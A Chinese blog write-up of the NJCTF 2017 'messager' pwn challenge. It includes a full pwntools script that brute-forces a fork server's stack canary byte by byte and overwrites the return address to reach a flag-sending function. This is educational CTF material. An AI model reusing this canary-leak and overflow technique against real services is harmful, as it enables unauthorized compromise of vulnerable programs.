当前位置:网站首页>NJCTF 2017messager
NJCTF 2017messager
2022-07-17 12:04:00 【Day-3】
首先要写一个flag文件。
echo “FLAG{THIS_IS_FLAG}” > flag
程序一开始就将flag从文件里去除,存放到unk_602160,相应的也有一个通过socket发送flag的函数sub_400BC6(),最终目的就是控制程序返回到这个函数。
本题开启了Canary保护,但他是每次开启一个子进程,所以Canary的值不变,我们可以将它爆破出来,注:一定要使用python2,如果有师傅知道为什么使用python3不可以的话,也非常希望你能告诉我。
from pwn import *
def leak_canary():
global canary
canary = "\x00"
while len(canary) < 8:
for x in range(0, 256):
io = remote("127.0.0.1", 5555)
io.recv()
io.send("A"*104 + canary + chr(x))
try:
io.recv()
canary += chr(x)
break
except:
continue
finally:
io.close()
print(canary)
# print("canary: 0x%s" % canary.encode('hex'))
def pwn():
io = remote("127.0.0.1", 5555)
io.rec()
payload = flat(['A' * 104,canary,"A"*8,p64(0x400bc6)])
io.send(payload)
print(io.recvline())
if __name__=='__main__':
leak_canary()
pwn()
边栏推荐
- SSH connection to Huawei modelarts notebook
- R语言使用原生包(基础导入包、graphics)中的plot函数可视化散点图(scatter plot)
- 【CSP-J 2021】总结
- 通信工程论文 通信网络中故障数据优化检测仿真研究
- Flink入门到实战-阶段五(处理函数)
- Network Security Learning (Qianfeng network security notes) 1-- building virtual machines
- JMeter中如何实现接口之间的关联?
- 2022年陕西省中职组“网络空间安全”—数据包分析
- vim怎么保存后退出
- 华为无线设备配置动态负载均衡
猜你喜欢
随机推荐
What is pytest? Automated testing is a must
基于 koa2 + mysql 实现用户管理的 CRUD 代码实践
图神经网络的可解释性方法介绍和GNNExplainer解释预测的代码示例
文件操作的底层原理(inode与软硬链接,文件的时间属性)
一种基于Grubbs和孤立森林的多维序列异常检测方法
2022年湖南省中职组“网络空间安全”赛题解析(超详细)
2022年湖南 省中职组“网络空间安全”Windows渗透测试 (超详细)
Solutions to notebook keyboard failure
HCIA 静态综合实验报告 7.10
Ffmpeg merges multiple videos (vb.net, class library-8)
Blender自动化建模入门
R语言使用R原生函数进行数据聚合统计(Aggregating transforms)计算滑动窗口统计值(Window Statistics)、计算滑动分组最小值(min)并合并生成的统计数据到原数据集
机械臂速成小指南(零点五):机械臂相关资源
Online education knowledge payment website source code system + live broadcast + applet, installation tutorial
SSH连接华为ModelArts notebook
数据湖(十二):Spark3.1.2与Iceberg0.12.1整合
Quick completion guide of manipulator (XIII): joint space trajectory planning
A multidimensional sequence anomaly detection method based on Grubbs and isolated forest
日期——贵州大学考研机试题目
Run yolov3 on Huawei modelarts_ coco_ detection_ dynamic_ AIPP sample








